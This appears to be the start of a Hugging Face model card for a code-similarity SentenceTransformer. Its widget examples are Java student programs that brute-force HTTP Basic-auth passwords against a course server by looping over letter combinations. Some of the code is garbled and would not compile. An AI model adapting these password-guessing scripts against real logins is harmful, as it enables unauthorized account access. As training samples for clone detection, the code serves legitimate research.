buelfhood's picture
Add new SentenceTransformer model
3337fa0 verified
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:33411
- loss:BatchAllTripletLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
- source_sentence: "\npackage java.httputils;\n\nimport java.util.ArrayList;\nimport\
\ java.util.Collection;\nimport java.util.Iterator;\nimport java.util.Observable;\n\
import java.util.Observer;\n\n\npublic class BruteForceThreadPool extends ThreadGroup\
\ implements Observer\n{\n protected String URL = \"http://localhost:8080/secret/index.html\"\
;\n protected int poolSize = 6;\n\n protected Collection threadList = new\
\ ArrayList();\n protected String fileName = \"BruteForceReport.txt\";\n \
\ protected boolean finished = false;\n protected String userName = \"\";\n\
\ \n public BruteForceThreadPool(String name)\n {\n super(name);\n\
\ }\n\n \n public BruteForceThreadPool(ThreadGroup parent, String name)\n\
\ {\n super(parent, name);\n }\n\n \n public synchronized void\
\ update(Observable o, Object arg)\n {\n \n System.out.println(\"\
Update method called the observer.\");\n RunnableBruteForce rbf = (RunnableBruteForce)\
\ o;\n rbf.createReport();\n\n \n \n for (Iterator\
\ iter = threadList.iterator(); iter.hasNext();)\n {\n RunnableBruteForce\
\ target = (RunnableBruteForce) iter.next();\n target.setStop(true);\n\
\ }\n finished = true;\n }\n\n\n \n protected void start(int\
\ threads)\n {\n \n \n int load = BruteForce.letters.length\
\ / threads;\n int remainder = BruteForce.letters.length % threads;\n\n\
\ \n for (int i = 0, end = ( + load);\n end < BruteForce.letters.length;\n\
\ i = end, end += load)\n {\n RunnableBruteForce\
\ runnable = new RunnableBruteForce();\n runnable.setURL(getURL());\n\
\ runnable.setRangeStart();\n runnable.setUserName(userName);\n\
\ \n runnable.setRangeEnd(\n end + load >\
\ BruteForce.letters.length ?\n BruteForce.letters.length :\n \
\ end);\n\n runnable.addObserver(this);\n \
\ runnable.setFileName(getFileName());\n \n threadList.add(runnable);\n\
\ }\n\n \n for (Iterator iter = threadList.iterator(); iter.hasNext();)\n\
\ {\n RunnableBruteForce target = (RunnableBruteForce) iter.next();\n\
\ new Thread(target).start();\n }\n\n }\n\n public static\
\ void main(String[] args)\n {\n BruteForceThreadPool pool = new BruteForceThreadPool(\"\
BruteForceThreadGroup\");\n\n if (args.length < 4)\n {\n \
\ pool.printUsage();\n return;\n }\n pool.setURL(args[0]);\n\
\ pool.userName = args[1];\n pool.setFileName(args[2]);\n\n \
\ pool.get(Integer.parseInt(args[3]));\n while (true)\n {\n \
\ try\n {\n Thread.currentThread().sleep(100);\n\
\ if (pool.finished)\n {\n break;\n\
\ }\n }\n catch (InterruptedException e)\n\
\ {\n e.printStackTrace();\n }\n }\n\
\n System.exit(0);\n }\n\n\n public String printUsage()\n {\n\
\ StringBuffer s = new StringBuffer();\n\n s.append(\"** BruteForceThreadPool\
\ proper usage **\\n\\n\");\n s.append(\n \"java ..httputils.BruteForceThreadPool\
\ <URL> <UserName> <OutputFile> < Of Threads = 6>\\n\\n\");\n\n return\
\ s.toString();\n }\n\n \n public Collection getThreadList()\n {\n\
\ return threadList;\n }\n\n \n public void setThreadList(Collection\
\ collection)\n {\n threadList = collection;\n }\n\n\n \n public\
\ String getFileName()\n {\n return fileName;\n }\n\n \n public\
\ void setFileName(String string)\n {\n fileName = string;\n }\n\n\
\ \n public String getURL()\n {\n return URL;\n }\n\n \n\
\ public void setURL(String string)\n {\n URL = string;\n }\n\n\
\ \n public int getPoolSize()\n {\n return poolSize;\n }\n\n\
\ \n public void setPoolSize(int i)\n {\n poolSize = i;\n }\n\
\n}\n"
sentences:
- "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\nimport\
\ java.io.*;\npublic class BruteForce {\n \n \n \n String passwordLetters[]\
\ ={\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\
m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\
z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\
M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\
Z\"};\n String password=\" \";\n static int counter;\n static int noOfAttempts;\n\
\ static String userName=\"\";\n HttpURLConnection u;\n boolean threadF,threadM;\n\
\ String passBase64;\n \n PasswordCrackThreadF passwordCrackThreadF;\n PasswordCrackThreadM\
\ passwordCrackThreadM;\n URL url;\n \n \n public BruteForce() {\n breakPassword();\n\
\ }\n\n public static void main (String args[]) {\n new BruteForce();\n\
\ }\n \n \n \n private void breakPassword() {\n int j;\n \n breakOneLetterPassword();\n\
\ \n breakTwoLetterPassword();\n \n \n \n\n passwordCrackThreadF\
\ = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);\n\
\ \n passwordCrackThreadM = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);\n\
\ \n passwordCrackThreadF.print();\n passwordCrackThreadM.print();\n\
\ }\n \n \n private void breakOneLetterPassword() { \n MyHttpURLConnection\
\ httpURLConnection;\n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"\
Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\
\ \n loop: for (int i=0;i<52;i++) {\n password\
\ = passwordLetters[i];\n\t\t \n\t\t password =\":\"+ password;\n \
\ try {\n \n\t \t u= (HttpURLConnection)url.openConnection();\n\
\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\
\t\t u.connect();\t\n\t\t noOfAttempts++; \n\t\t if (u.getContentLength()\
\ != 0) {\n\t\t \n\t\t if (u.getResponseCode()== HttpURLConnection.HTTP_OK\
\ ) {\n\t\t \n\t System.out.println (\"Your User\
\ Name : Password is \"+password);\n\t\t\t\t System.out.println(\" \");\n\t\
\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\
\t\t\t \n\t\t\t System.exit(0);\n \n\t \
\ }\n\t\t }\n\t\t } catch (ProtocolException px) {px.printStackTrace();\n\
\ \n } catch ( NoRouteToHostException nr)\
\ {nr.printStackTrace();\n\t } catch (BindException e){e.printStackTrace();\n\
\t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t\
\ } catch (IOException io) {io.printStackTrace();\n\t\t \n\t \
\ } finally {u.disconnect();\n\t }\n } \n }\n \n \
\ \n private void breakTwoLetterPassword() { \n MyHttpURLConnection \
\ httpURLConnection; \n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"\
Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\
\n \n loop: for (int i=0;i<52;i++) {\n for (int j=0;j<52;j++)\
\ {\n password = passwordLetters[i]+passwordLetters[j];\n\t\t\
\ \n\t\t password =\":\"+ password;\n\t\t \n\t\t \n\t \n \
\ try {\n\t\t u= (HttpURLConnection)url.openConnection();\n\
\t\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u.setRequestProperty(\"Authorization\", \"\
\ \" + passBase64);\n\t\t\tu.connect();\n\t\t\tnoOfAttempts++;\n\t\t\t\n \
\ \t if (u.getContentLength() != 0) {\n\t\t if (u.getResponseCode()==\
\ HttpURLConnection.HTTP_OK ) {\n\t System.out.println\
\ (\"Your User Name : Password is \"+password); \n\t\t\t System.out.println(\"\
\ \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\
\t\t\t \n\t\t\t System.exit(0);\n\t }\n\t\t }\n\
\t\t \n\t\t\n\t } catch (ProtocolException px) {px.printStackTrace();\n\
\ } catch ( NoRouteToHostException nr) {nr.printStackTrace();\n\
\t } catch (BindException e){e.printStackTrace();\n\t } catch\
\ (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch\
\ (IOException io) {io.printStackTrace();\n\t\t \n\t } finally {u.disconnect();\n\
\t }\n } \n }\n\n\n }\n}\n\nclass PasswordCrackThreadF\
\ extends Thread {\n \n \n \n private String passwordLetters[] ;\n \
\ private String password=\" \";\n private static String userName=\"\";\n\
\ private MyHttpURLConnection httpURLConnection;\n private URL url;\n\
\ \n BruteForce bruteForce;\n int count; \n String passBase64;\n \
\ private HttpURLConnection u;\n \n int start,stop;\n \n static boolean\
\ found;\n \n PasswordCrackThreadF(int start,int stop,int counter,String[]\n\
\ passwordLetters,String userName,BruteForce\
\ bruteForce) {\n this.start = start;\n this.stop = stop;\n \
\ this.passwordLetters =passwordLetters;\n this.userName=userName;\n \
\ count =counter;\n this.bruteForce=bruteForce; \n bruteForce.threadF=true;\n\
\t\n \n passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());\n\
\ try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n\t \n\n\t u = (HttpURLConnection)url.openConnection();\n \
\ \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\
\ \n\n } catch (IOException io) {io.printStackTrace();}\n\n }\n \n\
\ public synchronized void run() {\n \n outer : for (int i=0; i<stop;i++)\
\ {\n for (int j=0;j<52;j++) {\n for (int\
\ k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n\
\ \t password =\":\"+ password;\n\t\t\t \n\t\t\t\n\t\t\t\n\t\
\t\t while (!(bruteForce.threadF)) {\n\t\t\t try { wait(1); }\n\t\t\t \
\ catch (InterruptedException e){}\n\t\t\t } \n\t\t\t \n\t\t\t if (found)\n\
\t\t\t System.exit(0);\n try { \n\t\t\t \
\ u = (HttpURLConnection)url.openConnection();\n\t\t\t passBase64 = new\
\ url.misc.BASE64Encoder().encode(password.getBytes());\n \
\ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\
\t \n\n\t\t\t\n u.connect();\n\t\t\t\t\n\
\t\t BruteForce.noOfAttempts++;\n\n\t\t if (u.getContentLength()\
\ != 0) {\n\n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK\
\ ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\t\t\t\
\t \n\t\t\t\t\t\n\t\t System.out.println (\"Your User\
\ Name : Password is \"+password+ \n\t\t \" \
\ \"+ \" Found by Thread \"+count);\n\t\t\t\t\tSystem.out.println(\" \");\n\
\t\t\t System.out.println(\" of Attempts / Requests \"+ BruteForce.noOfAttempts);\n\
\t\t\t\t \t \n \t\t System.exit(0);\n\n\t \
\ }\n\t\t }\n\t\t \n\t\t \t\t \n\t \
\ } catch (ProtocolException px) {px.printStackTrace();\n \
\ } catch ( NoRouteToHostException nr){k--; \n\t\t\t nr.printStackTrace();\n\
\ } catch (BindException e){e.printStackTrace();\n\t \
\ } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\
\t } catch (IOException io) {io.printStackTrace();\n\t\t\t \n\
\t } finally {u.disconnect();\n\t }\n\t\t\t bruteForce.threadF=false;\n\
\t\t\t bruteForce.threadM=true;\n\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n \
\ }\n\t\t \n }\n System.out.println(\"End\");\n }\n }\n\
}\n\n\nclass PasswordCrackThreadM extends Thread {\n \n \n \n private\
\ String passwordLetters[] ;\n private String password=\" \";\n private static\
\ String userName=\"\";\n private MyHttpURLConnection httpURLConnection;\n\
\ private URL url;\n String passBase64;\n private URLAuthenticator urlAuthenticator\
\ = new URLAuthenticator(userName);\n BruteForce bruteForce;\n int count;\
\ \n private HttpURLConnection u;\n \n int start,stop;\n \n static\
\ boolean found;\n \n \n \n PasswordCrackThreadM(int start,int stop,int\
\ counter,String[]\n passwordLetters,String\
\ userName,BruteForce bruteForce) {\n this.start = start;\n this.stop\
\ = stop;\n this.passwordLetters =passwordLetters;\n this.userName=userName;\n\
\ count =counter;\n this.bruteForce=bruteForce; \n try {\n\t\
\ \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n\t \n u = (HttpURLConnection)url.openConnection();\n\t \
\ passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n \
\ \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\
\n\t \n\n\t \n\t \n\n } catch (IOException io) {io.printStackTrace();}\n\
\n }\n \n public synchronized void run() {\n \n outer : for (int\
\ i=0; i<stop;i++) {\n for (int j=0;j<52;j++) {\n \
\ for (int k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n\
\ \t password=\":\"+password;\n\t\t\t\n\t \n\
\t\t\t\n\t\t\t\n\t\t\t while (!(bruteForce.threadM)) {\n\t\t\t try { wait(1);\
\ }\n\t\t\t catch (InterruptedException e){}\n\t\t\t }\n\t\t\t \n\t\
\t\t \n\t\t\t if (found)\n\t\t\t System.exit(0);\n \
\ try { u = (HttpURLConnection)url.openConnection();\n\t\t\t \n \
\ passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u.setRequestProperty(\"Authorization\", \"\
\ \" + passBase64);\n\t\t\t \n\n\t\t\t\n \
\ u.connect();\n BruteForce.noOfAttempts++;\n\
\t\t \n\t\t if (u.getContentLength() != 0) {\n\t\
\t\t \n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK\
\ ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\
\t\t\t\t \n\t\t\t\t\t\n\t\t System.out.println (\"Your\
\ User Name : Password is \"+password+ \n\t\t \
\ \" \"+ \" Found by Thread \"+count);\n\t\t\t\t \t \n\t\t\t\t\t \n\t\
\t\t\t\tSystem.out.println(\" \");\n\t\t\t System.out.println(\"\
\ of Attempts / Requests \"+ BruteForce.noOfAttempts);\n \t\t \
\ System.exit(0);\n\n\t }\n\t\t \
\ }\n\t\t \n\t\t \t\t \n\t } catch (ProtocolException\
\ px) {px.printStackTrace();\n } catch ( NoRouteToHostException\
\ nr){k--; \n\t\t\t nr.printStackTrace();\n } catch\
\ (BindException e){e.printStackTrace();\n\t } catch (IndexOutOfBoundsException\
\ e3){e3.printStackTrace();\n\t } catch (IOException io) {io.printStackTrace();\n\
\t\t\t \n\t } finally {u.disconnect();\n\t }\n\
\t\t\t bruteForce.threadF=true;\n\n\t\t\t \n\t\t\t bruteForce.threadM=false;\n\
\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n }\n\t\t \n }\n\
\ System.out.println(\"End\");\n }\n }\n}\n\n\n\n\n\n\n\nclass URLAuthenticator\
\ extends Authenticator {\n private String uName;\n String passwd;\n static\
\ char[] password;\n public URLAuthenticator(String uName) {\n\n this.uName\
\ = uName;\n }\n\n public void setPassword(String passwd) {\n\n\t this.passwd=passwd;\n\
\t password=passwd.toCharArray();\n\n }\n \n public PasswordAuthentication\
\ getPasswordAuthentication() {\n\n\t\n \t\n\t\n\treturn new PasswordAuthentication(uName,password);\n\
\ }\n\n}\n\n\n\n\n \n\nclass MyHttpURLConnection extends HttpURLConnection \
\ {\n public MyHttpURLConnection(URL url) {\n super(url);\n }\n \
\ public void disconnect() {\n }\n\n public boolean usingProxy() {\n \
\ return true;\n }\n public void connect() {\n }\n\n}\n\n"
- "\nimport java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\n\
\n\n\npublic class BruteForce \n{\n \n \n\
\ \n private int consonantUpperBound = CrackingConstants.consonantUpperBound;\n\
\ private int consonantLowerBound = CrackingConstants.consonantLowerBound;\n\
\ private int vowelUpperBound = CrackingConstants.vowelUpperBound;\n private\
\ int vowelLowerBound = CrackingConstants.vowelLowerBound;\n \n \n \n\
\ \n private int verbose = CrackingConstants.quietMode;\n private int\
\ scanType = CrackingConstants.casedScan;\n\n private int passwordsTried =\
\ 0;\n \n\t\n\t\n\tpublic static void main(String args[])\n\t{\n\t\t int tStart;\n\
\t\t int tFinish;\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\
\ DateFormat.FULL);\n\t \n\t BruteForce pwForcer = new BruteForce();\n\
\n\t if(args.length > 0)\n\t {\n\t for(int i = 0; i < args.length;\
\ i++)\n\t {\n \t\tif((args[i].indexOf(\"-h\") > -1) || (args[i].indexOf(\"\
-H\") > -1))\n \t\t {\n \t\t\tSystem.out.println(\"\\n-s -S\\\
tonly tests lower passwords.\");\n \t\t\tSystem.out.println(\"\\n-v\\\
tprints the patterns as tried.\");\n \t\t\tSystem.out.println(\"-V\\\
tprints out the patterns and the passwords as generated. \\n\\tThis option\
\ slows the program considerably.\\n\");\n \t\t\treturn;\n \t\t\
\ }\t\n \t\telse if(args[i].indexOf(\"-v\") > -1) \n \t\t \
\ pwForcer.verbose = CrackingConstants.verboseMode1;\n \t\telse if(args[i].indexOf(\"\
-V\") > -1)\n \t\t pwForcer.verbose = CrackingConstants.verboseMode2;\n\
\ \t\telse if((args[i].indexOf(\"-s\") > -1) || (args[i].indexOf(\"-S\"\
) > -1))\n \t\t pwForcer.scanType = CrackingConstants.simpleScan;\n\t\
\t }\n\t }\n\n \n\t System.out.println(\"\\n\\n********************************\\\
n\");\n\t\tSystem.out.println(\"Starting brute force run at \" + \n\t\t longTimestamp.format(new\
\ Date()));\n\t\tif(args.length > 0)\n\t\t{\n\t\t\tString arguments = \"\";\n\t\
\t\tfor( i =0; i < args.length; i++)\n\t\t\t\targuments += args[i] + \" \";\n\t\
\t\tSystem.out.println(\"\\nOptions: \" + arguments + \"\\n\");\n\t\t}\n\t\tif(pwForcer.scanType\
\ == CrackingConstants.simpleScan)\n \t System.out.println(\"Only lower\
\ passwords tried.\");\n \telse\n \t System.out.println(\"Both lower\
\ and upper passwords tried.\");\n\t System.out.println(\"\\n********************************\\\
n\");\n\n\t tStart = System.currentTimeMillis();\n\t pwForcer.run();\n\t\
\ tFinish = System.currentTimeMillis();\n\t \n if (pwForcer.scanType\
\ == CrackingConstants.casedScan)\n {\n\t \n \t \n\t \
\ \n\t \n\t System.out.println (\"\\n\\n\" + pwForcer.passwordsTried\
\ + \" passwords were generated (out of a possible \" + (26 * 26 * 26 * 8) + \"\
)\");\n\t System.out.println (\"That is \" + pwForcer.passwordsTried/8\
\ + \" unique three letter combinations were tried (out of a possible \" + (26\
\ * 26 * 26) + \")\");\n }\n else\n {\n \t System.out.println\
\ (\"\\n\\n\" + pwForcer.passwordsTried + \" passwords were generated (out of\
\ a possible \" + (26 * 26 * 26) + \")\\n\");\n }\n \n\t \n\t\
\ System.out.println(\"\\n********************************\\n\");\n\t\tSystem.out.println(\"\
Finished brute force run at \" + \n\t\t longTimestamp.format(new Date()));\n\
\t\tSystem.out.println(\"Time taken: \" + ((tFinish - tStart)/1000) + \" seconds\"\
);\n\t System.out.println(\"\\n********************************\");\n\t} \
\ \n\n\t\n public BruteForce()\n {\n } \n\n\t\n private void run()\n\
\ {\n \n \n leftIndex = 0;\n midIndex = 0;\n\
\ rightIndex = 0;\n \n \n\t\t\n \n \tif(verbose\
\ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying stutters\
\ (AAA, aaa, etc.)\");\n for( i = vowelLowerBound; i <= consonantUpperBound;\
\ i++)\n {\n leftIndex = i;\n midIndex = i;\n \
\ rightIndex = i;\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\
\ return;\n }\n \n \n \tif(verbose >\
\ CrackingConstants.quietMode)\n \t System.out.println(\"Trying consonant-vowel-consonant\
\ patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\
\ leftIndex++)\n for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound;\
\ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\
\ <= consonantUpperBound; rightIndex++)\n if(tryLogin(leftIndex,\
\ midIndex, rightIndex))\n return;\n \n \
\ \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"\
Trying consonant-vowel-vowel patterns.\");\n for(leftIndex = consonantLowerBound;\
\ leftIndex <= consonantUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\
\ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\
\ vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n \
\ if(tryLogin(leftIndex, midIndex, rightIndex))\n \
\ return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\
\ \t System.out.println(\"Trying vowel-consonant-vowel patterns.\");\n \
\ for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)\n\
\ for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\
\ midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <=\
\ vowelUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex,\
\ rightIndex))\n return;\n \n \n \tif(verbose\
\ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying vowel-consonant-consonant\
\ patterns.\");\n for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound;\
\ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\
\ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\
\ <= consonantUpperBound; rightIndex++)\n if(tryLogin(leftIndex,\
\ midIndex, rightIndex))\n return;\n \n \n \
\ \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"\
Trying vowel-vowel-consonant patterns.\");\n for(leftIndex = vowelLowerBound;\
\ leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\
\ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\
\ consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)\n \
\ if(tryLogin(leftIndex, midIndex, rightIndex))\n \
\ return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\
\ \t System.out.println(\"Trying consonant-consonant-vowel patterns.\");\n\
\ for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\
\ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\
\ midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <=\
\ vowelUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex,\
\ rightIndex))\n return;\n \n \n \t\
if(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying\
\ remaining vowel-vowel-vowel patterns.\");\n for(leftIndex = vowelLowerBound;\
\ leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\
\ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\
\ vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n \
\ if((leftIndex == midIndex) && (leftIndex == rightIndex))\n \
\ {\n \n }\n \
\ else\n {\n if(tryLogin(leftIndex,\
\ midIndex, rightIndex))\n return;\n \
\ }\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\
\ \t System.out.println(\"Trying remaining consonant-consonant-consonant\
\ patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\
\ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\
\ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\
\ <= consonantUpperBound; rightIndex++)\n if((leftIndex ==\
\ midIndex) && (leftIndex == rightIndex))\n {\n \
\ \n }\n else\n \
\ {\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\
\ return;\n }\n \n \t\
if(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying\
\ monographs (A, a, etc.)\");\n for ( i = 0; i <= consonantUpperBound;\
\ i++)\n {\n leftIndex = i;\n midIndex = -1;\n \
\ rightIndex = -1;\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\
\ return;\n }\n \n \n \n \tif(verbose\
\ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying bigraphs\
\ (AA, aa, etc.)\");\n for( i = 0; i <= consonantUpperBound; i++)\n \
\ {\n \tfor( j = 0; j <= consonantUpperBound; j++)\n \t{\n \
\ \tleftIndex = i;\n \tmidIndex = j;\n \t rightIndex\
\ = -1;\n \t if(tryLogin(leftIndex, midIndex, rightIndex))\n\t \
\ return;\n }\n }\n \n return;\n \
\ } \n\n\t\n private boolean tryLogin( int leftIndex, int midIndex, int rightIndex)\n\
\ {\n \n LoginAttempt login = new LoginAttempt();\n LoginAttemptResults\
\ results = new LoginAttemptResults();\n\n \n CasePasswords casedPasswords\
\ = new CasePasswords(verbose);\n\n \n \n String tail = \"\
\";\n\n results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex,\
\ midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars,\
\ scanType), passwordsTried);\n passwordsTried = results.getPasswordsTried();\n\
\ return results.getSuccess();\n }\n \n} \n"
- "\n\n\n\npublic class HoldSharedData\n{\n private int numOfConnections\
\ = 0;\n private int startTime;\n private int totalTime = 0;\n \
\ private String[] password;\n private int pwdCount;\n\n public HoldSharedData(\
\ int time, String[] pwd, int count )\n {\n startTime = time;\n\n \
\ password = pwd;\n pwdCount = count;\n }\n\n public int getPwdCount()\n\
\ {\n return pwdCount;\n }\n\n public void setNumOfConnections(\
\ )\n {\n numOfConnections ++;\n }\n\n public int getNumOfConnections()\n\
\ {\n return numOfConnections;\n }\n\n public int getStartTime()\n\
\ {\n return startTime;\n }\n\n public void setTotalTime( int\
\ newTotalTime )\n {\n totalTime = newTotalTime;\n }\n\n public\
\ int getTotalTime()\n {\n return totalTime;\n }\n\n public String\
\ getPasswordAt( int index )\n {\n return password[index];\n }\n\
} \n"
- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport\
\ java.util.*;\n\npublic class BruteForce {\n public static void main (String[]\
\ args) throws IOException {\n BufferedReader stdin = new BufferedReader (new\
\ InputStreamReader(System.in));\n\n int start = new Date().getTime();\n\
\ String[] letters = {\"a\",\"A\",\"b\",\"B\",\"c\",\"C\",\"d\",\"D\",\"\
e\",\"E\",\"f\",\"F\",\"g\",\"G\",\n \"h\",\"H\",\"i\"\
,\"I\",\"j\",\"J\",\"k\",\"K\",\"l\",\"L\",\"m\",\"M\",\"n\",\"N\",\n\t\t\t \"\
o\",\"O\",\"p\",\"P\",\"q\",\"Q\",\"r\",\"R\",\"s\",\"S\",\"t\",\"T\",\"u\",\"\
U\",\n\t\t\t \"v\",\"V\",\"w\",\"W\",\"x\",\"X\",\"y\",\"Y\",\"z\",\"Z\"};\n\
\ int len = 52;\n int total = 52;\n String[] cad = new String[total];\n\
\ int t=0;\n \n for (int i=0;i<=len-1;i++){\n\t cad[t] = letters[i];\n\
\t t++;\n } \n for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n\
\t cad[t] = letters[j]+letters[i];\n\t t++;\n }}\n for (int i=0;i<=len-1;i++){\n\
\ for (int j=0;j<=len-1;j++){\n for (int k=0;k<=len-1;k++){\n\t \
\ cad[t] = letters[k]+letters[j]+letters[i];\n\t t++;\n }}}\n \
\ \n int response = 0;\n for (t=0;t<=total-1;t++){\n String\
\ uname = \"\";\n String userinfo = uname + \":\" + cad[t];\n try{\n\
\ String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());\n\
\ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \
\ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \
\ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\
\ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\
\ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\
\ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\
\ }\n }\n System.out.println(\"Response \"+t+\" was \"+response);\n\
\ System.out.println(\"The successful password was \"+cad[t]);\n \
\ finish = new Date().getTime();\n float totaltime = (float)(finish-start)/1000;\n\
\ System.out.println(\"Total time: \"+totaltime+\" seconds\");\n }\n}\n\
\n"
sentences:
- "\n\nclass WebPage\n{\n \n \n private boolean success = false;\n \n\
\ private String pageContents= \"\";\n \n\n\t\n public WebPage()\n \
\ {\n }\n \n\t\n public void setSuccess (boolean inSuccess)\n {\n\
\ success = inSuccess;\n }\n \n\t\n public boolean getSuccess()\n\
\ {\n return success;\n }\n \n\t\n public void setPageContents\
\ (String inPage)\n {\n pageContents = inPage;\n }\n \n\t\n \
\ public String getPageContents()\n {\n return pageContents;\n }\n\
} \n"
- "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters\
\ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
\ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
\ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n\
\ v = new Vector( 52);\n }\n public void loadLetters()\n {\n int\
\ i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new\
\ StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n\
\ }\n public Vector getVictor()\n {\n return ;\n }\n public void\
\ loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length -\
